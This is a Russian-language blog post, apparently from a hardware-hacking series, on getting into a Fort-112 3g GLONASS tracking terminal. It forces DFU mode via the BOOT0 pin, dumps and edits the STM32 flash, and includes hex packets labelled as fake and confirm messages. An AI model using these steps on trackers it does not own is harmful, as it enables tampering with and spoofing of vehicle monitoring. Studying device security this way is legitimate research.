OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000

З.Ы. В седьмой части обхода, покажу, как летают трамваи:)

ГЛОНАСС

Fort-112 3g, лезем в душу

Fort-112 3g Front Fort-112 3g Side

Дано: Навигационный терминал Fort-112 3g от пермской компании Fort Telecom.

Задача: минимум - узнать явки и пароли, максимум - получить полное управление коробкой.

Погнали.

Как всегда, идём на сайт производителя, вникаем в мануалы. Понимаем, что одними смсками мы коробку не победим; она привязана к списку телефонных номеров и, мало того, хочет знать пароли. В этом месте производителю зачёт!:)

Ок... Для конфигурации устройства нам нужна некая софтина под кодовым названием «Конфигуратор». Здесь ждёт небольшой сюрприз. Если «Конфигуратор» можно найти на просторах интернета, то с драйверами явная проблема. Хорошо, просим софт у производителя... Ииии... в России есть странная особенность - у нас очень любят выпустить недопродукт, а-ля конструктор, накрутить поверх страшнючее ПО и никому ничего не давать:) Исключение, пожалуй, Александр Ерасов.

Александр Евгеньичу пламенный привет:) А мы продолжим.

Я не зря упомянул про конструктор... Смотрим на чём собран прибор - до боли знакомый сто пиновый микроконтроллер STM32F4 от швейцарской компании STMicroelectronics. Это значит, что прошивка коробки практически у нас в руках.

Для начала, конечно же, читаем даташит, смотрим распиновку, находим ногу BOOT0, смотрим куда распаяна.

Fort-112 3g STM32F407VG LQFP100 STM32F40xxx LQFP100 pinout

Ставим джампер в этом месте...

Fort-112 3g BOOT0 jmp

Теперь наша коробка будет стартовать в Device Firmware Update Mode (больше, чем на 5 сек.) с доступом ко всем разделам памяти.

Отлично, дальше нужно скачать пакет программ DfuSe c сайта st.com. Устанавливаем. Запускаем DFUSE Demo. Втыкаем коробку в USB порт. Подаём питание. Смотрим, что получилось.

Fort-112 3g DFUSE Demo

Шикарно!:) Смотрим права на Internal Flash, именно эта часть памяти нам понадобится.

Fort-112 3g DFUSE Demo Permissions

Полный доступ по всем фронтам. Это радует:) В секции Upload Action выбираем место, куда сохранять дамп памяти, жмём кнопарь Upload.

Fort-112 3g DFUSE Demo Upload

На выходе получаем файл с раширением .dfu... Запускаем программу DFU File Manager, делаем из .dfu multi BIN file (это важно, если править .dfu напрямую, будет много матюгов на CRC файла при обратных действиях) и открываем в HEX редакторе.

Fort-112 3g readable bin

Собственно, вот оно. Довольно много интересного для зоркого взгляда американского наблюдателя.

Заливка исправленной прошивки происходит ровно таким же образом, но наоборот... с небольшим финтом ушами:)

С этой коробкой пока всё. Ещё три на подходе:))))

upd 28.04.2017:
FORT Monitor
FORT-112 All

ГЛОНАСС

страница 1 из 3 следующая